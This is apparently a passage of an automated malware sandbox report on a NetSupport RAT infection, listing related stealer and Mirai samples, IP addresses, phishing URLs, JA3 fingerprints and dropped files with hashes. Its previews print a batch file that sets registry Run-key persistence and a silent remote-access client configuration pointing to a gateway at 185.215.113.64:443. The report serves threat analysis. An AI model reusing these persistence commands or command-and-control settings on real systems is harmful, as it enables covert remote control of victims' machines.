	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
AMAZON-AESUS	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	54.35.254.71
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	100.25.45.169
	star.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	44.220.130.229
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	44.197.226.177
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	18.207.157.57
	https://gmail.net-login.com/Xb1Rnb3pKRC9CUEdpbldIVTREbHhIK1Vza1NvaWlrblBIbkN4aUdCZUt0Y2NlSGJiWmZ2d0M1dTB5dEpRbnRoVDdBVkFTcEJqWGowNVZycWJNWHlIUHlLOG1qS0FvemVPSXpFRFhGcUhmaVU1ekQwMklrVmM0QjVpNmhLaDdoY1I4UlhMcFo1TTJaSFhtaWpiWWFqWGZ5WEg4TnBiOUl4MDI1RFMyWStQRFoyNFo5UFZNUUpmWXBtaUg0Y0FjUG1jejdSVnFVOXJQL2VzdmNLM1lEaWtmRkZnZEk2Vi0tVHFIeU0vOWxTN01YVEtXbS0tTTh5Skh1eEtsc0xTT0J5Rzg2Q2ZJQT09?cid=2330416057%3EOpen	Get hash	malicious	KnowBe4	Browse	54.162.179.105
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	107.23.185.4
	LightBurn-v1.7.04.exe	Get hash	malicious	Unknown	Browse	107.22.70.21
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	54.237.175.25
	RECOUVREMENT -FACTURER1184521.pdf	Get hash	malicious	Unknown	Browse	52.22.41.97

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	104.21.91.209
	mirabon.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.91.209
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	104.21.91.209
	Svcrhpjadgyclc.cmd	Get hash	malicious	DBatLoader	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.91.209
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.91.209
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.91.209
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.91.209

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Netstat\HTCTL32.DLL	lFxGd66yDa.exe	Get hash	malicious	NetSupport RAT	Browse
	Jjv9ha2GKn.exe	Get hash	malicious	NetSupport RAT, DarkTortilla	Browse
	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
C:\Users\Public\Netstat\FuturreApp.exe	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse

Created / dropped Files

C:\Users\Public\Netstat\FuturreApp.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	105848
Entropy (8bit):	4.68250265552195
Encrypted:	false
SSDEEP:	384:qTjV5+6j6Qa86Fkv2Wr120hZIqeTSGRp2TkFimMP:qHVZl6FhWr80/heT8TkFiH
MD5:	8D9709FF7D9C83BD376E01912C734F0A
SHA1:	E3C92713CE1D7EAA5E2B1FABEB06CDC0BB499294
SHA-256:	49A568F8AC11173E3A0D76CFF6BC1D4B9BDF2C35C6D8570177422F142DCFDBE3
SHA-512:	042AD89ED2E15671F5DF67766D11E1FA7ADA8241D4513E7C8F0D77B983505D63EBFB39FEFA590A2712B77D7024C04445390A8BF4999648F83DBAB6B0F04EB2EE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\FuturreApp.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@..................................K....@.................................< ..<....0...i...........t..x).......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\HTCTL32.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: lFxGd66yDa.exe, Detection: malicious, Browse Filename: Jjv9ha2GKn.exe, Detection: malicious, Browse Filename: 5q1Wm5VlqL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KC0uZWwr8p.exe, Detection: malicious, Browse Filename: KC0uZWwr8p.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\NSM.LIC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	5.119720931145611
Encrypted:	false
SSDEEP:	6:O/oPn4xRPjwx1lDKHMoEEjLgpW2MezvLdNWYpPM/ioVLa8l6i7s:XeR7wx6JjjqW2MePBPM/ioU8l6J
MD5:	7067AF414215EE4C50BFCD3EA43C84F0
SHA1:	C331D410672477844A4CA87F43A14E643C863AF9
SHA-256:	2050CC232710A2EA6A207BC78D1EAC66A4042F2EE701CDFEEE5DE3DDCDC31D12
SHA-512:	17B888087192BCEA9F56128D0950423B1807E294D1C4F953D1BF0F5BD08E5F8E35AFEEE584EBF9233BFC44E0723DB3661911415798159AC118C8A42AAF0B902F
Malicious:	false
Preview:	1200..0x3bcb348e....; NetSupport License File...; Generated on 11:54 - 21/03/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=EVALUSION..maxslaves=5000..os2=1..product=10..serial_no=NSM165348..shrink_wrap=0..transport=0..

C:\Users\Public\Netstat\PCICHEK.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\PCICL32.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3735416
Entropy (8bit):	6.525042992590476
Encrypted:	false
SSDEEP:	49152:cTXNZ+0ci2aYNT8wstdAukudJ1xTvIZamclSp+73mPu:cTXNo0cpKwstTJIkS43mm
MD5:	00587238D16012152C2E951A087F2CC9
SHA1:	C4E27A43075CE993FF6BB033360AF386B2FC58FF
SHA-256:	63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8
SHA-512:	637950A1F78D3F3D02C30A49A16E91CF3DFCCC59104041876789BD7FDF9224D187209547766B91404C67319E13D1606DA7CEC397315495962CBF3E2CCD5F1226
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\Public\Netstat\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(.t.I.'.I.'.I.'A..'.I.'...'.I.'.?#'.I.'...'.I.'.1.'.I.'.I.'.J.'.1.'.I.'.1.'.I.'..#',I.'.."'.I.'...'.I.'...'.I.'...'.I.'Rich.I.'................PE..L......V...........!......... ..............0................................9.....f-9.....................................4........`................8.x)...P7.p....@.......................P.......P..@............0..........`....................text............................... ..`.rdata.......0......................@..@.data....%..........................@....tls.........@......................@....hhshare.....P......................@....rsrc........`......................@..@.reloc..(2...P7..4....6.............@..B........................................................................................................................................................................................................

C:\Users\Public\Netstat\TCCTL32.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\UpdateFuturreApp.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.131775788834825
Encrypted:	false
SSDEEP:	6:hwszH1j0KpIAgidquHGjCscfoZH1j0KpIAgidquHGjCsW/jCE:HVj0KprgidqugI+Vj0KprgidqugUrX
MD5:	6C49E627C4228F1D9776C78749D2DDCB
SHA1:	0241B8E0073116C0F738BB0721C68F6B951AE7C6
SHA-256:	D32A160B8DC638589A30EFFB82DC33AFDA3F8CD2A1E7789FE147439C2872BAA9
SHA-512:	DBCFD98FFF31C4D555A8D61EB95660A04E9BE79079DD741C11874005DE443694A8425A5434056F1E5722911628359B0A812E9D6C6D030F32477973FCA870880D
Malicious:	false
Preview:	@echo off..REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\FuturreApp.exe"..REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\FuturreApp.exe"..start %Public%\Netstat\FuturreApp.exe..

C:\Users\Public\Netstat\client32.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	702
Entropy (8bit):	5.536854980364518
Encrypted:	false
SSDEEP:	12:YTNWqzd+mPZGS/py6z8BlsVTXuZ7+DP981E7GXXfDWQClnmSuh6IAlkz6:yWqzEmPZly6YBlLoG1fXXfDiU6IAaz6
MD5:	A4AA9219BECDEEC09159270BB041BB35
SHA1:	2D08305017EFB0A1FF7DEFDF66DB80191ED9CCF8
SHA-256:	277B9BCB5778CD5DC167ED75528818B06ED12F3FD427339F3085F4DB8A39ED2E
SHA-512:	4F7CE001DA009FCBA0C5BEAB572A16306D56FD91253C45D5196892142DA78EC805982A4E1C136AD61471B5A951697EED76F9EE63D8B94EB64024A11E0FD0DE42
Malicious:	false
Preview:	0x58095535....[Client].._present=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAOeJWid73S6SvOyjjiTDVewA..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0......[HTTP]..GatewayAddress=185.215.113.64:443..gsk=EFHH;K>OBDEJ9A<I@BCB..gskmode=0..gsku=EFHH;K>OBDEJ9A<I@BCB..GSKX=EFHH;K>OBDEJ9A<I@BCB....

C:\Users\Public\Netstat\msvcr100.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\nskbfltr.inf

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\Public\Netstat\pcicapi.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\remcmdstub.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77224
Entropy (8bit):	6.793971095882093
Encrypted:	false
SSDEEP:	1536:zfafvTuNOwphKuyUHTqYXHhrXH4+LIyrxomee/+5IrAee/DIr3:jafLSpAFUzt0+LIyr7eR5IUeCIz
MD5:	325B65F171513086438952A152A747C4
SHA1:	A1D1C397902FF15C4929A03D582B09B35AA70FC0
SHA-256:	26DBB528C270C812423C3359FC54D13C52D459CC0E8BC9B0D192725EDA34E534
SHA-512:	6829555AB3851064C3AAD2D0C121077DB0260790B95BF087B77990A040FEBD35B8B286F1593DCCAA81B24395BD437F5ADD02037418FD5C9C8C78DC0989A9A10D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L...c..c.....................J.......!............@.......................... ............@....................................<.......T................]..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\855fa1aa94.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\YIFtngJ[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2138232
Entropy (8bit):	7.940321732008107
Encrypted:	false
SSDEEP:	49152:VIfzw6NbHHBp7k5hhJ+j0h7x0vRNu1UiPPs0EkHbG+nu:VILwYt5ShrfKvW0z
MD5:	E5F8753995C0B30B827AA2B17F3E1D22
SHA1:	B268EE165073321CB893FC6DC682ADBE38AF87B5
SHA-256:	C3A4EC523039D5969745279B8909FBB82BFC999D9241E24B5CEFEA23A3F2C04F
SHA-512:	DBA6104720C45C3201878C515DAC487B0F66522E85DB56CF19B4378D4DA94D38E640EB48259A6CA3FD8602B083283915BDEBDC8BB57039F1CDD2FE84792BA2FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~............b......b..<....b.....)^......................................... ...... ......%...... ......Rich............PE..L...~.r\............................y.............@.......................................@............................4.......<.......4............................n..T...........................(...@...............\...T... ....................text...d........................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc...4...........................@..@.reloc........... ...z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4423680
Entropy (8bit):	7.989319780896103
Encrypted:	false
SSDEEP:	98304:5eRXo0l47J0m+Z1vw3hnaBN95pzzJTOkuOBgQ/kRVqVBIAY7KaJz:IRXadjeona1zNOkjJBnZEz
MD5:	DD8DF388D297C668E3CCCBD9132EE6C1
SHA1:	648171CC15BCF5C037AFF15F09FDAF4AB07C23C3
SHA-256:	1F5AC588733BF56F94FE424076A6C91AFE805EDAC18FCA6A5C8E2B86E9F9D87B
SHA-512:	4F931FDC5B6C0BA23CD1B495A1E712739C8332EDEEBC3A4B318784B166436F3B2DD13D929759733047AEA5B44B5FED18D19BB839967433A4E507441DD8408803
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...P.......pH...@.................................AyD...@... ............................._pt.s....`t.....................X3...............................3...................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..7...t......`(.............@...ctknaohd.....@.......b(.............@...tteedpjp.....@.......XC.............@....taggant.0...P..."...^C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
